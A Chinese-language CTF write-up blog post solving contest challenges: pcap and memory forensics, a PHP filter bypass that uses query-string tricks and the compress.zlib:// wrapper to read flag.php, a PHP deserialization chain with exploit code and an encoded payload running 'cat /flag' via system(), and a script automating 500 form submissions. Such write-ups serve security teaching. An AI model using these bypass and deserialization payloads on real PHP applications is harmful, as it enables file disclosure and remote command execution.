解题详情

misc:签到 学习资料(1) 学习资料(2) 剪切板的秘密
web: secret_code 量化评教 反序列化

misc

签到

最难的题,不多说。

学习资料(1)+学习资料(2)

用的是一个文件,所以我写一起了。文件名cat.pcapng,用wireshark流量分析即可。比较重要的两个数据包:

底下就是flag1,然后往后看

提示了我们这个流量包里有藏着zip压缩包,直接改后缀解压

内容一眼十六进制,网络上找一个十六进制转字符即可获得flag2

剪切板的秘密

mem文件,考内存取证,根据题目的提示获取剪切板里的内容即可。具体payload:python2 vol.py -f ../memdump.mem clipboard

拿到flag

web

secret_code

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|rot13|base64|string|input/i',$file)){
die('杂讯太多讯号弱 就连风吹都要干扰');
}else{
return $file;
}
}

$query = $_SERVER['QUERY_STRING'];

if (preg_match('/_|%5f|\.|%2E/i', $query)) {
die('有太多人太多事 夹在我们之间咆哮');
}

if($_GET['s_c_r_t'] !=='20020718' && preg_match('/^20020718$/',$_GET['s_c_r_t'])){
echo("连上彼此的讯号 才有个依靠");

$file=$_POST['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "到底有谁知道 是几点钟方向 你才会收到暗号";
}
}
else{
echo("你停止收讯号 我开始搜寻不到");
}
?>

定义了filter函数,作用是过滤一系列伪协议的关键词。然后定义$query变量获取所有数据包的参数进行正则,变量里有’_’,’.’以及他们的url编码都不行。

接下来是主要部分,接收s_c_r_t参数,s_c_r_t不等于20020718且第一行等于20020718才能过。这里传入参数s%20c%20r%20t=20020718%0a,php会把参数的空格用_代替,这样可以绕过正则,20020718%0a是20020718加上换行符,可以过if,这样进入第二个if。

先传入file参数,再用第二个if判断是否存在file文件,不存在用hightlight_file,那只能用伪协议读取,上面的filter函数没过滤compress.zlib://伪协议,构造file=compress.zlib://flag.php即可拿到flag

反序列化

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

error_reporting(0);

class A{
public $hhh;
private $aaa;

public function __toString()
{
$this->hhh->aaa($this->aaa);
return "win";
}

}
class AA {
public $qqq;
public function __destruct()
{
return $this->qqq."hello";
}
}
class AAA{
public $num;
public function __call($name, $arguments)
{
system($arguments[$this->num][$name]);
}

}
$data=$_POST['NEUQCSA'];
if (isset($data)){
unserialize($data);
}
else{
highlight_file(__FILE__);
}
?>

基础的反序列化,链子:AA.__destruct()->A.toString()->AAA->__call()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $hhh;
private $aaa=array("aaa"=>"cat /flag");

}
class AA {
public $qqq;
}
class AAA{
public $num;
}
$flag=new AAA();
$flag->num=0;
$second=new A();
$second->hhh=$flag;
$first=new AA();
$first->qqq=$second;
echo urlencode(serialize($first));
?>

跑出来的payload:O%3A2%3A%22AA%22%3A1%3A%7Bs%3A3%3A%22qqq%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A3%3A%22hhh%22%3BO%3A3%3A%22AAA%22%3A1%3A%7Bs%3A3%3A%22num%22%3Bi%3A0%3B%7Ds%3A6%3A%22%00A%00aaa%22%3Ba%3A1%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D,有些时候因为’ /‘被url编码之后变成’+%F’导致跑不出来,直接改回去就行了。

改过的payload:O%3A2%3A%22AA%22%3A1%3A%7Bs%3A3%3A%22qqq%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A3%3A%22hhh%22%3BO%3A3%3A%22AAA%22%3A1%3A%7Bs%3A3%3A%22num%22%3Bi%3A0%3B%7Ds%3A6%3A%22%00A%00aaa%22%3Ba%3A1%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A9%3A%22cat /flag%22%3B%7D%7D%7D

拿到flag

量化评教

是NEUQ的量化评教界面,有个查询flag的路由,但是给我们提示要做完500个评教才行。除此之外并没有找到注入点。那就跟着他的思路把500做了,估计慢慢手搓也行,反正我是写脚本。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
url="http://monian.one:7724/update"
po={"https":None,"http":None}
cookie={'session':'eyJ1c2VyaWQiOiI2MmY4ZjE3ZS1jM2U4LTQzNzctYTYxNy1lNGNkZmM2Yjc3ODgifQ.ZatjCQ.pOMuv3n2MZnlMsl1g7EfZPIRmWA'}
with open('./1.txt', 'r',encoding='utf-8') as file:
lines = file.readlines()
data = []
for line in lines:
line = line.strip()
line_data = line.split('\t')
data.append(line_data)
for i in range(500):
datas={
"teacherName":data[i][3],
"courseName":data[i][1],
"rating":5,
"comments":'1',
'id':data[i][0]
}
res=requests.post(url=url,cookies=cookie,data=datas,proxies=po)
if "success" in res.text:
print(i)
print("success")
if "failed" in res.text:
print(i)
print("failed")
time.sleep(0.5)

这里读取的1.txt是网页的500个评教信息,是直接从网页上复制下来的,例如:

1
2
3
4
5
6
7
3071013009	半导体物理	选修	褚老师	评教	编辑
3030213036 RFID课程设计 必修 奚老师 评教 编辑
3020813015 健康产业战略管理 必修 吴老师 评教 编辑
3050213102 日语演讲与辩论 选修 吴老师 评教 编辑
3060213013 现代代数选讲 选修 吴老师 评教 编辑
3070312003 有机化学 必修 周老师 评教 编辑
3010112004 经济学科与专业导论 必修 严老师 评教 编辑

跑完之后查询flag即可。

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝